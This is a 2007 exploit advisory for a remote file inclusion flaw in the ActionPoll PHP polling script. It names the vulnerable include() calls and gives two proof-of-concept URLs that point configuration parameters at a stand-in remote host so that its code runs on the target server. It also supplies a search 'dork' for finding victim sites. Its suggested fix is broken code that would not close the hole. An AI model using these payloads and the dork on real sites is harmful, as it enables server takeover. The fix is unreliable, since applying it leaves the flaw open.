action-rfi.txt

`--------------------------------------------------  
ActionPoll Script (actionpoll.php) Remote File Include  
--------------------------------------------------  
  
Author : SekoMirza  
Date Found : April 14 2007  
Location : French // ...   
Critical Lvl : critical  
Impact : System access  
Where : From Remote  
--------------------------------------------------  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~  
Application : ActionPoll PhpOpenChat  
version : 1.1.0  
vendor : http://www.vclcomponents.com/PHP/Polls_and_Voting/Actionpoll-info.html  
--------------------------------------------------  
  
Description:  
~~~~~~~~  
  
Actionpoll 1.1.2002 - PHP / Polls and Voting  
Actionpoll is generated in PHP language which provides facilities to manage voting and polling data on portal systems.   
  
Unlimited options can be...   
  
  
--------------------------------------------------  
  
Vulnerability:  
~~~~~~~~~~~  
  
vulnerability script in actionpoll.php // DataReaderWriter.php  
  
  
in actionpoll.php   
  
include($CONFIG_POLLDB);  
  
--  
  
in db/DataReaderWriter.php   
  
include($CONFIG_DB);  
  
  
  
Proof Of Concept:  
~~~~~~~~~~~~  
[script path]/actionpoll.php?CONFIG_POLLDB=http://evil_scripts?  
[script path]/db/DataReaderWriter.php?CONFIG_DB=http://evil_scripts?  
  
--------------------------------------------------  
  
google d0rk:  
~~~~~~~  
"Action Poll"  
  
--------------------------------------------------  
F!X:  
~~~  
  
-open actionpoll.php  
  
-write this code before wrong code   
  
include ("CONFIG_POLLDB");  
if($CONFIG_POLLDB != $xCONFIG_POLLDB) {  
exit;  
}  
  
-save and exit.  
  
--------------------------------------------------  
Shoutz:  
~~  
~ My Sweet -> Caramel   
~ For Support -> Hypn0sis // Shad0wMan  
~ For Support Also -> www.starhack.org  
~ My Bro -> PhantomOrchid  
  
----------------------EOF-------------------------  
`